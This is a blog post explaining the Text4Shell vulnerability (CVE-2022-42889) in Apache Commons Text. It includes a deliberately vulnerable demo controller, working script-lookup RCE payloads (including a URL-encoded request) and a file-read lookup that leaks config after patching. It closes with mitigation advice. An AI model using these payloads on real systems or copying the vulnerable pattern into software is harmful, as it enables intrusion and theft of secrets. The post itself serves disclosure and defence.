CVE-2022-42889 Text4Shell is a vulnerability in the Apache Commons Text library. Like previous brand-name vulnerabilities Log4Shell and Spring4Shell, it’s a Remote Code Execution (RCE) vulnerability that allows a bad actor to run arbitrary code on the host machine. However it’s less likely to be exploitable as it requires a very specific use of the library to be vulnerable.
It affects Apache Commons Text 1.5 to 1.9 and was fixed in 1.10. However, as we’ll see later the application code can still be vulnerable to other attacks even in the fixed version.
CVE-2022-42889 Text4Shell vulnerability in action
The vulnerability is in Apache Commons Text StringSubstitutor when used to interpolate string lookups. Here are some examples of how you’d use StringSubstitutor
interpolation from the Apache Commons Javadoc:
final StringSubstitutor interpolator = StringSubstitutor.createInterpolator();
interpolator.setEnableSubstitutionInVariables(true); // Allows for nested $'s.
final String text = interpolator.replace("Base64 Decoder: ${base64Decoder:SGVsbG9Xb3JsZCE=}\n"
+ "Base64 Encoder: ${base64Encoder:HelloWorld!}\n"
+ "Java Constant: ${const:java.awt.event.KeyEvent.VK_ESCAPE}\n"
+ "Date: ${date:yyyy-MM-dd}\n" + "DNS: ${dns:address|apache.org}\n"
+ "Environment Variable: ${env:USERNAME}\n"
+ "File Content: ${file:UTF-8:src/test/resources/document.properties}\n"
+ "Java: ${java:version}\n" + "Localhost: ${localhost:canonical-name}\n"
+ "Properties File: ${properties:src/test/resources/document.properties::mykey}\n"
+ "Resource Bundle: ${resourceBundle:org.example.testResourceBundleLookup:mykey}\n"
+ "Script: ${script:javascript:3 + 4}\n" + "System Property: ${sys:user.dir}\n"
+ "URL Decoder: ${urlDecoder:Hello%20World%21}\n"
+ "URL Encoder: ${urlEncoder:Hello World!}\n"
+ "URL Content (HTTP): ${url:UTF-8:http://www.apache.org}\n"
+ "URL Content (HTTPS): ${url:UTF-8:https://www.apache.org}\n"
+ "URL Content (File): ${url:UTF-8:file:///${sys:user.dir}/src/test/resources/document.properties}\n"
+ "XML XPath: ${xml:src/test/resources/document.xml:/root/path/to/node}\n");
As you can see it allows powerful and flexible lookups of various properties. If you’re going to use StringSubstitutor
in this way, it is essential that the lookup strings are constants and not controllable by a user in any way.
The remote code execution is via the script:javascript
lookup. You can do something like this:
interpolator.replace("You've been pwned! ${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/pwned')}"));
That is, use the JavaScript interpolator to execute Java code, in this case invocation of an external process. You can execute any command so long as the application’s owner user has sufficient privileges. This is a great example of why you should run applications with the least privileges necessary and never as root.
Example exploit
Take a look at my text4shell demo app for a couple of ways that an application could be vulnerable. It’s a Spring Boot app only because it’s quick to prototype. The vulnerability does not depend on Spring Boot.
In the first example, I have a REST endpoint that serves interpolated strings. This endpoint might exist to serve UI strings to the front end or to an internal service.
@RestController
public class ExploitMeController {
@RequestMapping("/lookup")
public String lookup(@RequestParam String value) {
StringSubstitutor interpolator = StringSubstitutor.createInterpolator();
return interpolator.replace(value);
}
}
If this endpoint is public facing or if an attacker has any way of controlling the input, the vulnerability is exploitable:
http://localhost:8080/lookup?value=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27touch%20%2Ftmp%2Fpwned%27%29%7D
This executes the command touch /tmp/pwned
to create a file on disk. Any command can be executed in this way.
A second example is perhaps more realistic. This is a web page with UI strings generated by the interpolator. In this case the Strings are in a Map but this could be a lookup from a database or file. If an attacker can control the UI strings by manipulating the source database / file, they can run the RCE exploit:
@Controller
public class HomeController {
private final Map<String, String> uiStrings = Map.of(
"USERNAME", "Username: ${username}",
"TIME", "Current time: ${date:yyyy-MM-dd hh:mm:ss}",
"FILE_CONTENTS", "File: ${file:UTF-8:src/main/resources/application.properties}",
"RCE", "You've been pwned! ${script:javascript:java.lang.Runtime.getRuntime().exec(['/bin/sh', '-c', 'env > /tmp/pwned'])}",
"FILE_CONTENTS_2", "File: ${file:UTF-8:/tmp/pwned}"
);
@GetMapping("/")
public String index(ModelMap model) {
Map<String, String> values = Map.of("username", "jbloggs");
StringSubstitutor replacer = new StringSubstitutor(values);
StringSubstitutor interpolator = StringSubstitutor.createInterpolator();
model.put("username", replacer.replace(uiStrings.get("USERNAME")));
model.put("time", interpolator.replace(uiStrings.get("TIME")));
model.put("file_content", interpolator.replace(uiStrings.get("FILE_CONTENTS")));
model.put("rce", interpolator.replace(uiStrings.get("RCE")));
model.put("file_content2", interpolator.replace(uiStrings.get("FILE_CONTENTS_2")));
return "index";
}
}
This example writes the the application config and the environment settings to screen. It could just as easily do something more subtle like exfiltrate data to a remote server or open a reverse shell.
Fixes
The recommended fix for the RCE vulnerability is to upgrade to Apache commons-text 1.10 or later. However this does not make your application secure. It specifically blocks only the remote code execution vulnerability. There are other exploits against the StringSubstututor
interpolator that are almost as bad.
As an example, I’ve upgraded my vulnerable application to 1.10. While it’s not possible to execute code remotely, we can still read files from disk. The interpolated String "File: ${file:UTF-8:src/main/resources/application.properties}"
reads the application properties – a likely store of sensitive information. This makes the application write its config (and passwords) to screen:
You can see that the RCE attempt failed. The command is displayed as a literal string and not executed. But we can use interpolation to leak sensitive data.
My recommendation for Apache commons-text is to avoid using it if at all possible. If you have a legitimate need for it and you use the StringSubstitutor
, ensure that the only inputs are constant (final
) Strings from your application. Never feed ‘tainted’ input such as user input, request parameters or values from a file or database as input to StringSubstitutor
. The same advice applies for any other library that evaluates expressions such as Java Expression Language (JEXL), Spring Expression Language (SpEL) or Object Graph Navigation Library (OGNL).
Be First to Comment